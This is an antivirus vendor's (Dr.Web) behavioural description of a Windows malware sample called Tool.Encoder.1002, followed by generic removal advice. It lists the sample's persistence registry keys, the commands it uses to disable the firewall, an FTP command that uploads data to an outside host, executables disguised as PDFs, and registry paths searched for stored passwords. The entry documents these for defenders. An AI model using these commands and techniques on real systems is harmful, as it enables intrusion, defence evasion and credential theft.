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Tool.Encoder.1002

Added to the Dr.Web virus database: 2014-09-01

Virus description added:

Technical Information

To ensure autorun and distribution:
Modifies the following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat7' = '"C:\Users\Public\Public Document\mdej.exe"'
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'stat2' = '%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat'
  • [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat' = '%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
  • [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
  • [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Creates and executes the following:
  • 'C:\users\public\Public Document\AdobeR.exe' -f "amsn.klc"
  • 'C:\users\public\Public Document\AdobeT.exe' -f "wmsn.klc"
  • 'C:\users\public\Public Document\AcrobaP.exe'
  • 'C:\users\public\Public Document\crb.exe' -d -p A1B2C3D4KD7123LS400S500201322419s080897654321 bar.zip.aes
  • 'C:\users\public\Public Document\unzip.exe' -o bar.zip
  • 'C:\users\public\Public Document\AcrobatR.exe' "wmsn.klb"
Executes the following:
  • '<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn"
  • '<SYSTEM32>\netsh.exe' firewall set opmode disable
  • '<SYSTEM32>\ipconfig.exe' /all
  • '<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn\Msn2"
  • '<SYSTEM32>\ftp.exe' -i -v -s:202.lmn ftp.freehostia.com
  • '%WINDIR%\regedit.exe' /s "cogj.reg"
  • '<SYSTEM32>\attrib.exe' +r +a +s +h "C:\users\public\public document"
  • '<SYSTEM32>\rundll32.exe' <SYSTEM32>\shell32.dll,OpenAs_RunDLL C:\users\public\Public Document\docs.pdf
  • '<SYSTEM32>\cmd.exe' /c ""C:\users\public\Public Document\Adobe.bat" "
  • '<SYSTEM32>\wscript.exe' "C:\users\public\Public Document\tsbe.vbs"
  • '<SYSTEM32>\taskkill.exe' /f /im AcrobaP.exe
  • '<SYSTEM32>\xcopy.exe' /h /e /r /k /c /q /y *.* "%ALLUSERSPROFILE%\Msn\Msn2"
  • '<SYSTEM32>\cmd.exe' /c ""C:\users\public\Public Document\icj.bat" "
  • '<SYSTEM32>\wscript.exe' "C:\users\public\Public Document\saj.vbs"
Searches for registry branches where third party applications store passwords:
  • [<HKCU>\Software\Paltalk]
  • [<HKCU>\Software\Google\Google Talk\Accounts]
Modifies file system :
Creates the following files:
  • %ALLUSERSPROFILE%\Msn\Msn2\cogj.reg
  • %ALLUSERSPROFILE%\Msn\Msn2\AdobeT.exe
  • %ALLUSERSPROFILE%\Msn\Msn2\dj.vbs
  • %ALLUSERSPROFILE%\Msn\Msn2\icj.bat
  • %ALLUSERSPROFILE%\Msn\Msn2\docs.pdf
  • %ALLUSERSPROFILE%\Msn\Msn2\aagj.bat
  • %ALLUSERSPROFILE%\Msn\Msn2\202.lmn
  • %ALLUSERSPROFILE%\Msn\Msn2\AcrobaP.exe
  • %ALLUSERSPROFILE%\Msn\Msn2\AdobeR.exe
  • %ALLUSERSPROFILE%\Msn\Msn2\AcrobatR.exe
  • %ALLUSERSPROFILE%\Msn\Msn2\iej.bat
  • C:\users\public\Public Document\amsn.klc
  • C:\users\public\Public Document\wmsn.klb
  • C:\users\public\Public Document\wmsn.klc
  • C:\users\public\Public Document\msn.klc
  • %ALLUSERSPROFILE%\Msn\Msn2\keeprun.ini
  • %ALLUSERSPROFILE%\Msn\Msn2\iewj.bat
  • %ALLUSERSPROFILE%\Msn\Msn2\saj.vbs
  • C:\users\public\Public Document\adip.klc
  • %ALLUSERSPROFILE%\Msn\Msn2\tsbe.vbs
  • C:\users\public\Public Document\crb.pdf
  • C:\users\public\Public Document\bar.zip.aes
  • %ALLUSERSPROFILE%\Application Data\o3IIr0iSb\PCGWIN32.LI5
  • C:\users\public\Public Document\aagj.bat
  • C:\users\public\Public Document\bar.zip
  • C:\users\public\Public Document\tsbe.vbs
  • C:\users\public\Public Document\docs.pdf
  • C:\users\public\Public Document\unzip.pdf
  • C:\users\public\Public Document\Adobe.bat
  • C:\users\public\Public Document\202.pdf
  • C:\users\public\Public Document\AcrobaP.pdf
  • C:\users\public\Public Document\iej.bat
  • C:\users\public\Public Document\icj.bat
  • C:\users\public\Public Document\iewj.bat
  • C:\users\public\Public Document\saj.vbs
  • C:\users\public\Public Document\keeprun.ini
  • C:\users\public\Public Document\AdobeR.pdf
  • C:\users\public\Public Document\AcrobatR.pdf
  • C:\users\public\Public Document\AdobeT.pdf
  • C:\users\public\Public Document\dj.vbs
  • C:\users\public\Public Document\cogj.reg
Sets the 'hidden' attribute to the following files:
  • %ALLUSERSPROFILE%\Application Data\o3IIr0iSb\PCGWIN32.LI5
Deletes the following files:
  • C:\users\public\Public Document\unzip.exe
  • C:\users\public\Public Document\crb.exe
  • C:\users\public\Public Document\bar.zip.aes
  • C:\users\public\Public Document\bar.zip
Moves the following files:
  • from C:\users\public\Public Document\wmsn.klc to C:\users\public\Public Document\001_201427We_141153.038
  • from C:\users\public\Public Document\wmsn.klb to C:\users\public\Public Document\001_201427We_141153.037
  • from C:\users\public\Public Document\msn.klc to C:\users\public\Public Document\001_201427We_141153.036
  • from C:\users\public\Public Document\AdobeT.exe to C:\users\public\Public Document\AdobeT.pdf
  • from C:\users\public\Public Document\AdobeR.exe to C:\users\public\Public Document\AdobeR.pdf
  • from C:\users\public\Public Document\AcrobatR.exe to C:\users\public\Public Document\AcrobatR.pdf
  • from C:\users\public\Public Document\AcrobaP.pdf to C:\users\public\Public Document\AcrobaP.exe
  • from C:\users\public\Public Document\202.pdf to C:\users\public\Public Document\202.lmn
  • from C:\users\public\Public Document\crb.pdf to C:\users\public\Public Document\crb.exe
  • from C:\users\public\Public Document\unzip.pdf to C:\users\public\Public Document\unzip.exe
  • from C:\users\public\Public Document\AdobeT.pdf to C:\users\public\Public Document\AdobeT.exe
  • from C:\users\public\Public Document\AdobeR.pdf to C:\users\public\Public Document\AdobeR.exe
  • from C:\users\public\Public Document\AcrobatR.pdf to C:\users\public\Public Document\AcrobatR.exe
Network activity:
Connects to:
  • 'localhost':1039
  • 'ft#.##eehostia.com':21
UDP:
  • DNS ASK ft#.##eehostia.com
Miscellaneous:
Searches for the following windows:
  • ClassName: 'RegEdit_RegEdit' WindowName: ''
  • ClassName: 'Indicator' WindowName: ''
  • ClassName: '' WindowName: ''
  • ClassName: 'EDIT' WindowName: ''
  • ClassName: 'Shell_TrayWnd' WindowName: ''

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android